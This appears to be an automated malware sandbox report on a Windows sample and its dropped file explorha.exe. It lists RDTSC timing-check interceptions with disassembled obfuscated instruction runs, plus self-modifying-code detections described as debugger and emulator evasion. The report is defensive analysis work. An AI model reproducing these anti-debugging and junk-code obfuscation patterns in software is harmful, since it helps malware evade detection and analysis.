Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180A80 second address: 5180AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FC734E5F77Eh 0x0000000d mov ebp, esp 0x0000000f jmp 00007FC734E5F780h 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180AAF second address: 5180AB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5180AB5 second address: 5180AC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734E5F77Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5200725 second address: 5200729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5200729 second address: 520072D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 520072D second address: 5200733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F08FB second address: 51F092D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 mov eax, 5BC62463h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FC734E5F789h 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov dh, 5Bh 0x0000001a mov di, cx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F092D second address: 51F0953 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC73488207Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F0770 second address: 51F0786 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F0786 second address: 51F07A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882087h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F07A1 second address: 51F07B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734E5F784h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F07B9 second address: 51F07BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F07BD second address: 51F0854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx esi, bx 0x0000000d mov esi, edi 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 mov edx, 7FC2EC24h 0x00000017 pushfd 0x00000018 jmp 00007FC734E5F77Dh 0x0000001d sbb cl, 00000066h 0x00000020 jmp 00007FC734E5F781h 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FC734E5F783h 0x00000032 sbb si, E59Eh 0x00000037 jmp 00007FC734E5F789h 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007FC734E5F780h 0x00000043 sub esi, 390B9F98h 0x00000049 jmp 00007FC734E5F77Bh 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F0854 second address: 51F0881 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC73488207Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190094 second address: 51900B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51900B1 second address: 5190129 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 8Dh 0x00000005 pushfd 0x00000006 jmp 00007FC734882088h 0x0000000b sub ax, D908h 0x00000010 jmp 00007FC73488207Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007FC734882086h 0x0000001f push eax 0x00000020 pushad 0x00000021 mov bx, E614h 0x00000025 mov ax, bx 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov edi, ecx 0x0000002f pushfd 0x00000030 jmp 00007FC73488207Ch 0x00000035 or si, CDC8h 0x0000003a jmp 00007FC73488207Bh 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190129 second address: 519014B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 3Bh 0x00000005 push ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FC734E5F77Fh 0x00000014 pop ecx 0x00000015 mov bh, 1Ch 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 519014B second address: 5190197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC734882081h 0x00000009 sub cx, 7046h 0x0000000e jmp 00007FC734882081h 0x00000013 popfd 0x00000014 mov si, CAF7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC734882084h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 5190197 second address: 519019B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 519019B second address: 51901A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51901A1 second address: 51901A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51901A7 second address: 51901AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F0BF4 second address: 51F0C8F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC734E5F77Dh 0x00000008 add ecx, 21777E36h 0x0000000e jmp 00007FC734E5F781h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push dword ptr [ebp+0Ch] 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FC734E5F77Ch 0x00000021 or cx, 5D58h 0x00000026 jmp 00007FC734E5F77Bh 0x0000002b popfd 0x0000002c call 00007FC734E5F788h 0x00000031 push esi 0x00000032 pop edx 0x00000033 pop esi 0x00000034 popad 0x00000035 push dword ptr [ebp+08h] 0x00000038 jmp 00007FC734E5F77Dh 0x0000003d push 01C0D903h 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FC734E5F789h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F0C8F second address: 51F0C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F0C93 second address: 51F0C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F0C99 second address: 51F0CC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ah 0x00000005 call 00007FC73488207Fh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 01C1D901h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov di, cx 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F0D73 second address: 51F0D82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: 51F0D82 second address: 51F0D9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734882084h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8D62D6 second address: 8D62DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8D62DE second address: 8D62E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8D62E3 second address: 8D62E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8D62E9 second address: 8D62ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E484F second address: 8E4855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4855 second address: 8E485D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4B36 second address: 8E4B4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F781h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4B4B second address: 8E4B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4B51 second address: 8E4B7E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007FC734E5F776h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007FC734E5F781h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC734E5F77Dh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4CB5 second address: 8E4CBB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4CBB second address: 8E4CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4CC1 second address: 8E4CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4CC8 second address: 8E4CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC734E5F781h 0x0000000f jnc 00007FC734E5F776h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4CE9 second address: 8E4CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4CED second address: 8E4CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4E39 second address: 8E4E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734882085h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4E52 second address: 8E4E56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E4E56 second address: 8E4E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jp 00007FC734882076h 0x0000000f pop ebx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E7781 second address: 8E77B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add dword ptr [ebp+124490C3h], edx 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D1CBDh], ebx 0x00000018 push 2C73CFFEh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FC734E5F785h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E77B5 second address: 8E782D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 2C73CF7Eh 0x00000010 mov edi, eax 0x00000012 push 00000003h 0x00000014 adc ecx, 7FD27F96h 0x0000001a push 00000000h 0x0000001c jl 00007FC73488207Ch 0x00000022 sub dword ptr [ebp+122D1C81h], esi 0x00000028 push 00000003h 0x0000002a mov edi, dword ptr [ebp+122D3AB2h] 0x00000030 call 00007FC734882079h 0x00000035 jg 00007FC734882088h 0x0000003b jmp 00007FC734882082h 0x00000040 push eax 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FC734882084h 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E782D second address: 8E7842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jbe 00007FC734E5F776h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E7842 second address: 8E787E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007FC734882076h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jp 00007FC73488208Ch 0x00000014 jmp 00007FC734882086h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jp 00007FC73488207Ch 0x00000025 jng 00007FC734882076h 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E796C second address: 8E7970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E7970 second address: 8E7A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007FC734882076h 0x0000000d jns 00007FC734882076h 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 jnc 00007FC734882080h 0x0000001f pop eax 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007FC734882078h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a push 00000003h 0x0000003c mov dword ptr [ebp+122D2C80h], esi 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ecx 0x00000047 call 00007FC734882078h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], ecx 0x00000051 add dword ptr [esp+04h], 0000001Bh 0x00000059 inc ecx 0x0000005a push ecx 0x0000005b ret 0x0000005c pop ecx 0x0000005d ret 0x0000005e mov ecx, dword ptr [ebp+122D3BE2h] 0x00000064 push 00000003h 0x00000066 jns 00007FC734882082h 0x0000006c call 00007FC734882079h 0x00000071 jmp 00007FC734882080h 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007FC73488207Eh 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E7A2D second address: 8E7A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E7A31 second address: 8E7A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E7A37 second address: 8E7A69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jp 00007FC734E5F77Eh 0x00000013 jnc 00007FC734E5F778h 0x00000019 mov eax, dword ptr [eax] 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E7A69 second address: 8E7A7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jg 00007FC734882076h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E7A7E second address: 8E7B0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC734E5F788h 0x00000008 jmp 00007FC734E5F781h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FC734E5F778h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b lea ebx, dword ptr [ebp+1244C644h] 0x00000031 jmp 00007FC734E5F789h 0x00000036 xchg eax, ebx 0x00000037 pushad 0x00000038 jmp 00007FC734E5F77Dh 0x0000003d jmp 00007FC734E5F77Dh 0x00000042 popad 0x00000043 push eax 0x00000044 push eax 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8E7BD8 second address: 8E7BDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8D7DAD second address: 8D7DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC734E5F776h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8D7DB7 second address: 8D7DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 8D7DBB second address: 8D7DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007FC734E5F776h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FC734E5F776h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 9065C5 second address: 9065D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 9065D0 second address: 9065D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 90689D second address: 9068A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 906F69 second address: 906F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734E5F77Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 906F7F second address: 906F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 906F85 second address: 906F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 9070F1 second address: 9070FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 9070FC second address: 907101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	RDTSC instruction interceptor: First address: 90728D second address: 907298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Special instruction interceptor: First address: BEEE00 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Special instruction interceptor: First address: D8AB49 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Special instruction interceptor: First address: D8A8F3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Special instruction interceptor: First address: D95345 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Special instruction interceptor: First address: E16CC0 instructions caused by: Self-modifying code
